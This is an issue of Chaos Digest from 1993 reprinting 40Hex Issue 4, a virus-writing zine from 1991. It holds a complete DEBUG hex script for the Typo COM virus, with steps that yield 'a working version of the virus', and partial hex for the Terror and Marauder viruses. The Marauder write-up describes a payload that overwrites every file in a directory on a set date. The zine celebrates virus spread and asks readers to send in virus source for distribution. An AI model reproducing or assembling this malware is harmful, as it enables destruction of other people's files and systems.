Chaos Digest               Lundi 31 Mai 1993        Volume 1 : Numero 42
                            ISSN  1244-4901

       Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
       Archiviste: Yves-Marie Crabbe
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TABLE DES MATIERES, #1.42 (31 Mai 1993)
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Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Issue 1 Volume 4 #004-008 (reprint)


40Hex Issue 4                                            December 1991

                                 Terror
                                 ++++++

   Duh, just as I was about to relase this issue I found that I forgot
   to make a artical 4.  So here it is.

---------------------------------------------------------------------------
n terror.com
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e 05B0  2A 83 C3 04 3D 03 14 74 1E 83 C3 04 3D 03 1E 74
e 05C0  16 B8 13 35 CD 21 2E 89 1E 27 05 2E 8C 06 29 05
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e 05E0  27 05 2E C7 06 29 05 70 00 B4 34 CD 21 06 1F B8
e 05F0  EC 25 CD 21 2E A1 41 05 8E C0 48 8E D8 8B 1E 03
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e 07E0  A9 0F 00 74 0F 8B CA 8B D0 83 C2 10 80 E2 F0 B8
e 07F0  00 42 EB EA E8 3E FD 74 11 0B D2 75 C4 3D 00 04
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e 0860  45 04 EB 12 56 57 06 0E 07 BE 2B 05 B9 0B 00 F3
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e 0880  40 B9 18 00 8B D7 CD EC B8 00 57 CD EC B0 01 CD
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e 08A0  13 25 2E 8B 16 22 05 2E 8E 1E 24 05 CD EC B0 24
e 08B0  2E 8B 16 3D 05 2E 8E 1E 3F 05 1F 5A 58 C3 50 06
e 08C0  57 53 8B FA 1E 07 B0 00 B9 40 00 F2 AE 8B 45 FD
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e 08F0  75 F2 B9 07 00 BB FF FF 43 8A 41 F4 24 5F 2E 3A
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e 0910  00 43 CD EC 5B 5F 07 58 C3 B0 03 CF 80 FC 03 74
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e 0930  0B 01 58 EA 00 01 20 54 65 72 72 6F 72 1A 1A 1A
rcx
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40Hex Issue 4                                            December 1991

"No feelings of what I left behind, no guilt for the victims of my crime.  No
compassion, just a burning deep inside.  No pain... I'm here just to die... "
- Sub Zero


This artical is from the 11/26/91 morning final of the San Jose Mercury News

**text written like this is my comments**

                 SURVEY DEFLATES COMPUTER-VIRUS DANGERS

But safeguards are few as cases proliferate.

   Computer viruses, those nasty bits of distructive programming unleashed
by deviant hackers, are multiplying at a startling rate - but haven't proved
nearly as troublesome as once feared and aren't scaring users enough to take
even simple safeguards.

   Dataquest Inc. a marker research firm in San Jose released a ground-
breaking 150-page survey Monday showing that almost two-thirds of business
and government organizatons with more than 300 personal computers has
encountered a viurs at least once this year.  Yet only 15 percent of them
has installed anti-virus software.

   What's more, Dataquest found the virus encounters more than doubled
in each of the first three quarters of 1991. **<smile, smile>**

   The National Computer Security Association of Washington D.C., which
represents 1,000 developers of anti-virus software, hired Dataquest to
conduct what is apparently the first study of virus proliferation by a
reseacher not directly employed by an anti-virus software company.

   Computer viruses hide themselves in legitamate files, jumping from
machine to machine.  Triggered either at random or on a set date, such
as Friday the 13th, the most destructive viruses gobble up programs and
data in their host computers. **gobble???**

   Robert Morris, then a student at Cornell University, unleashed a
the biggest virus to date in November 1988 **please** when a program he
intended to queitly slip onto a network call Internet went out of
control and temporally shut down 6,000 computers at universitys and
government reaserch labrotorys nationwide.  In the wake of the Internet
case, there were dire predictions of future virus attacks the could
bring the entire economy grinding to a halt.

   But there haven't been any major virus outbreaks since then and, it
turnded out, the Internet virus **Internet worm, damn it!!!** did little
permanent damage.

   What's more, most viruses are relitavely mild - more like a case of
sniffles the double pnemonia.  Typically, these mild viruses take up
space in the computers memory and slow down operations, but don't
destroy data. ** :) :( **

   "Many viruses are very innocuous," said Shella Cotter, director of
software consulting for Dataquest. "You find them, you identify them and
you get rid of them."

   "Many of the viruses I've heard about have not been big problems,"
added Jay BloomBecker ** tell me he aint gay **, director of the
National Center for Computer Crime Data in Santa Cruz.  "But it's
significant enough that if you're not paying attention to it, you
security is probably inadeqaute."

   Anti-virus software sold over the counter automatcally plucks out
the most of the roughly, 1,000 viruses identifey thoughout the world.
Occasoinally however, killer viruses can take over an entire computer
system and threaten a buisness with massive losses of crucial information.

   Dataquest talked to 600 orginazations during October and dicovered
that 63 percent had encountered at least one virussince the beginning of
the year.  Of these reporting and encounter, 62 percent claimed "a
definite loss of productivity," although the $70,000 study did not
tabulate the total cost.

   In the survey group, 9 percent reported a "virus disaster," defined
as a single incedent affecting 25 or more personal computers or
diskettes.  On average, computers involved in a virus disaster were out
of commision four days and required reprogramming at a cost of $6,200.

   And, in 3 percent of virus attacks, either the person who introduced
the virus or the person responible for computer security was threatened
with dismmisal.  Dataquest didn't count how many were actually fired.

   "Computer viruses are much more prevalent than people think and,
unless we think, and unless we take precautions, over time they are
going to get worse," said Andrew Seybold, head of the Dataquest servey team.

   But anti-virus software and strict enforcement of computer scurity
policies could change in the future.

   "The good news is, it's solveable.  The bad news is companies aren't
chossing to solve it,", Cotter concluded.  ** The other way around for us **

+++++

40Hex Issue 4                                            December 1991

                         The Typo COM Virus

     The Typo Virus comes in 2 forms - a boot sector infector, and a
COM file infector.  This version is the COM version.  The effective
length of the virus is 867 bytes, and it only infects COM files.  Typo
stays resident, and can infect files whether they are run or not, from my
experience.  Typo isn't a destructive virus, but it does garble any
output to the parallel ports, by exchanging certain letters with others
that sound similar, and by transposing numbers.  Sometimes it replaces
one number with an entirely different number.  Typo is believed to have
originated in Israel, because some Hebrew letters are changed when it is
active, and it was isolated in that country.  Typo is easily detected by
SCAN, and the scan string is "A1 58 00 2E 89 84 99 FE 26 A1 5A 00" in lines
400 and 410 of the hex dump, below.

To assemble TYPO.COM, cut out the following hex, and name the resulting
file TYPO.  Then, issue the command DEBUG < TYPO and you will have a
working version of the virus.

--DecimatoR

----------------------------Cut Here------------------------------
n typo.com
e 0100  E9 18 00 31 E9 FF FF 2A 2E 43 4F 4D 00 CD 20 20
e 0110  56 31 05 00 CE CD 20 00 59 00 00 53 51 52 1E 06
e 0120  56 0E 1F E8 00 00 5E 83 EE 24 FF 4C 16 83 7C 16
e 0130  03 75 05 C7 44 16 5B 00 E8 85 02 BA D0 00 B4 1A
e 0140  CD 21 8A 44 0B 88 44 12 8B 44 0C 89 44 13 B4 2A
e 0150  CD 21 F6 C2 01 75 1F 8B D6 81 C2 05 00 33 C9 B4
e 0160  4E CD 21 72 11 E8 2C 00 8B D6 81 C2 05 00 33 C9
e 0170  B4 4F CD 21 73 EF 8A 44 12 A2 00 01 8B 44 13 A3
e 0180  01 01 BA 80 00 B4 1A CD 21 5E 07 1F 5A 59 5B B8
e 0190  00 01 FF E0 B8 01 43 BA EE 00 33 C9 CD 21 B8 02
e 01A0  3D BA EE 00 CD 21 73 03 E9 B4 00 89 44 10 8B D8
e 01B0  B4 3F B9 03 00 8B D6 81 C2 0B 00 CD 21 80 7C 0B
e 01C0  E9 75 30 8B 54 0C 83 EA 16 33 C9 B8 00 42 8B 5C
e 01D0  10 CD 21 8B D8 B4 3F B9 02 00 8B D6 81 C2 0E 00
e 01E0  8B 5C 10 CD 21 72 65 3D 00 00 74 07 8B 44 0E 3B
e 01F0  04 74 59 33 C9 33 D2 B8 02 42 8B 5C 10 CD 21 72
e 0200  4B 2D 03 00 89 44 03 8B 5C 10 B4 40 B9 63 03 90
e 0210  8B D6 81 C2 00 00 CD 21 72 32 83 44 03 19 33 D2
e 0220  33 C9 B8 00 42 8B 5C 10 CD 21 72 20 8B 5C 10 B4
e 0230  40 B9 03 00 8B D6 81 C2 02 00 CD 21 B8 01 57 8B
e 0240  5C 10 8B 0E E6 00 8B 16 E8 00 CD 21 8B 5C 10 B4
e 0250  3E CD 21 B8 01 43 BA EE 00 8A 0E E5 00 CD 21 C3
e 0260  FB 80 FC DD 75 03 8A C4 CF 80 FC 00 74 6C EA 2E
e 0270  E8 00 F0 C7 84 C7 84 59 00 60 31 32 33 34 35 36
e 0280  37 38 39 30 2D 3D 5C 7E 21 40 23 24 25 5E 26 2A
e 0290  28 29 5F 2B 7C 71 77 65 72 74 79 75 69 6F 70 5B
e 02A0  5D 5B 61 73 64 66 67 68 6A 6B 6C 3B 27 7A 78 63
e 02B0  76 62 6E 6D 2C 2E 2F 51 57 45 52 54 59 55 49 4F
e 02C0  50 7B 7D 41 53 44 46 47 48 4A 4B 4C 3A 22 3B 5A
e 02D0  58 43 56 42 4E 4D 3C 3E 3F 2E 56 E8 00 00 5E 9C
e 02E0  2E FF 5C 91 53 06 BB 40 00 8E C3 26 8B 1E 6C 00
e 02F0  53 2E 2B 5C 95 83 FB 02 5B 2E 89 5C 95 7F 39 2E
e 0300  87 5C 97 2E 2B 5C 97 F7 DB 2E 3B 5C 99 7C 29 2E
e 0310  FF 4C 99 2E 83 7C 99 06 74 06 2E C7 44 99 5B 00
e 0320  83 EE 65 51 B9 61 00 2E 3A 04 74 07 46 E2 F8 59
e 0330  EB 06 90 59 2E 8A 44 01 07 5B 5E CA 02 00 80 FC
e 0340  00 74 05 80 FC 4C 75 19 E8 24 00 2E 8B 16 2C 00
e 0350  8E C2 BB 00 00 B4 4A CD 21 BA 1D 00 83 C2 01 B4
e 0360  31 EA 60 14 73 02 B8 00 4C EB D3 3F 14 73 02 51
e 0370  57 56 06 E8 00 00 5E 56 BF 00 01 B9 DE 00 2E 8A
e 0380  84 EA FE 2E 88 05 46 47 E2 F4 5E 33 C9 8E C1 2E
e 0390  8B 4C EC 26 89 0E 84 00 2E 8B 4C EE 26 89 0E 86
e 03A0  00 2E 8B 4C F5 26 89 0E 80 00 2E 8B 4C F7 26 89
e 03B0  0E 82 00 B9 00 01 26 89 0E 58 00 07 5E 5F 59 C3
e 03C0  50 32 C0 B4 DD CD 16 3A C4 75 02 58 C3 53 56 06
e 03D0  8B 54 16 E8 00 00 5E 53 06 BB 40 00 8E C3 26 8B
e 03E0  1E 6C 00 2E 89 9C 9D FE 2E 89 9C 9F FE 07 5B 89
e 03F0  94 A1 FE 33 C0 8E C0 26 A1 84 00 2E 89 44 8C 26
e 0400  A1 86 00 2E 89 44 8E 26 A1 58 00 2E 89 84 99 FE
e 0410  26 A1 5A 00 2E 89 84 9B FE 26 A1 80 00 2E 89 44
e 0420  95 26 A1 82 00 2E 89 44 97 FA 0E 26 8F 06 86 00
e 0430  26 89 36 84 00 26 81 2E 84 00 98 00 0E 26 8F 06
e 0440  82 00 26 89 36 80 00 26 83 2E 80 00 70 0E 26 8F
e 0450  06 5A 00 26 89 36 58 00 26 81 2E 58 00 76 01 FB
e 0460  07 5E 5B 58 C3 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
rcx
464
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--------------------------Cut Here Too-----------------------------

Notice to all: 40Hex is always looking for new viruses to do write ups
on, and new source code to distribute.  If you have a copy of a rare
virus, and/or viral source code, please send it to Digital Warfare BBS,
at 717-367-3501.  We'll be happy to give you the credit for donating it -
IF you want us to.  ;)

--Dec

+++++

40Hex Issue 4                                            December 1991


                       How Lame Are These People?
                       ++++++++++++++++++++++++++

This text is from the Homebase BBS, Mcaffee's board, all I can say is
read it.  Special apperance from Data Distruptor of Rabid and
Lestat/Skism, AKA me... Read on...


Msg#: 5712 *viru*
11-19-91 17:11:34
From: TERRY ROSS
  To: ALL
Subj: IS THIS A VIRUS?
Hi.  Is there a known virus which displays a screen which reads "INC, for
quality cracks?"  I have recently inherited a computer at the company I work
at and there was apparently some tetris and blockout games on the disk which
are the source of this message.  I found a file called "runme.bat" with the
text in it, but even after I deleted it, it still pops up the aforementioned
message.  Also, the message gives me a choice of EGA CGA or monochrome and in
general, the message makes life difficult for me.
        any help with this would be vastly appreciated.

<*>Replies
<A>gain, <R>eply, <N>ext, or <S>top?


Msg has replies, read now(Y/N)? y


Msg#: 5715 *viru*
11-19-91 17:50:59
From: ARYEH GORETSKY
  To: TERRY ROSS
Subj: REPLY TO MSG# 5712 (IS THIS A VIRUS?)
If you can upload a copy of an infected file, we can see if it contains viral
code.

Aryeh Goretsky
 Tech Support

<->, <A>gain, <R>eply, <N>ext, or <S>top? N

-- The below text was deleted by Aryeh, I don't think he likes me --

Msg#: 5718 *viru*
11-19-91 19:42:34
From: LESTAT /SKISM
  To: TERRY ROSS
Subj: REPLY TO MSG# 5712 (IS THIS A VIRUS?)
It's not a virus.  INC is the International Network of Crackers.  What they do
is unprotect games and distribute them.  What you do have is most likely
illegally obtained software.

<->, <D>elete, <A>gain, <R>eply, <N>ext, or <S>top?


End of Replies, add yours(Y/N)? N


Msg#: 5717 *viru*
11-19-91 18:01:25
From: DATA DISRUPTOR
  To: ARYEH GORETSKY
Subj: REPLY TO MSG# 5597 (RABID)
 Haha! Funny guy. I believe you are referring to the Roland D-10 and S-10
series of keyboards... R-10 being a keyboard... bah!

Data Disruptor RABID Int'nl Development Corp.

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-- Again I was deleted, come on Aryeh old buddy --

Msg#: 5719 *viru*
11-19-91 19:45:03
From: LESTAT /SKISM
  To: DATA DISRUPTOR
Subj: REPLY TO MSG# 5717 (RABID)
Thats coming from a guy who thinks INC are virus writers.  Jessh.

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40Hex Issue 4                                            December 1991

"I take my boys everywhere I go, cause I'm paranoid..."

                           The Marauder Virus
                           ++++++++++++++++++


    December marks the first year of the group Skism.  The alliance of
    Phalcon/Skism took place around July 1991.  Me and a few freinds at
    school started the group by hacking old viruses into new strains.
    Well I have lost contact with these people since then and a new
    breed of members has risen from the ashes.

    Well, I myself have learned a lot over the year.  I went from virus
    hacker with about three viruses to my name, to overwritting man,
    to what I am now.  An advanced (kind of) level assembler programmer,
    writing parasitic infectors.  Well come this time next year I belive
    I'll be into more major stuff, ya know sick mother fucking DIR-2
    type action.  I've written a couple of TSR viruses shells, nothing
    completed yet.  Well anyway here's my personal latest creation -
    Marauder.  What Marauder is, is this ----

Marauder Virus
By Hellraiser
of Phalcon/Skism

Aliases: Deadpool-B, 808-B, 860.

Marauder is a non-overwriting, non-resident, encrypting, semi-mutating,
.COM file infector.

When a file is infected with the Marauder Virus the virus will search
the current path for a .COM file and infect it, adding 860 bytes to the
files size.  If not .COM files reside in the current directory, the
virus will go up one directory and check for .COM files to infect untill
it reaches the root.  At the root directory the virus will scan for
other directorys to find .COM files, until one uninfected .COM file is
found.  If no .COM files are found on the disk the virus will terminate
it search and return to the currently running program.

If an infected file is run on Feburary second of any year, the virus
will destroys all files in the current directory, by overwritting them
with message code.  The files will not run when executed, just terminate
upon reading the first line.  There is no way to recover the files once
the virus destroys them.  After this control will be given back to the
host program.

The Maruder virus is able to infect any .COM file no matter what
attribute... Hidden, System, Read-Only, etc... The files date, time, and
attribute will not be changed after a file becomes infected.

The virus will not cause a system error if run on a write-protected
floppy or fixed-disk, merely terminate any attempt of infection.

The virus will not infect files under 16 bytes or over 64,675 bytes.

For the most part the virus is randomly encrypted with each passing
infection, the small part of the program code which is not encrypted
mutates between two different, but comaptable strain of bytes.

There is not way of detecting the virus infections other than the
addition of 860 bytes to infected files, in other words, system-run time
is not affected at all.  If any run-time is affected it is the split
second it takes for the virus to infect a file.

The virus causes no damage to disk sectors or boot records etc... The
only perminate damage is the destuction of all files in the current
directory on 02/02/XX.

And here it is...

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n target.com
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e 0150  2E 0D 0A 24 20 20 20 20 20 20 20 B4 09 BA 03 01
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e 0470  B1 E0 61 79 D2 E3 C5 71 6B 9C 7A 91 15 28 B7 BC
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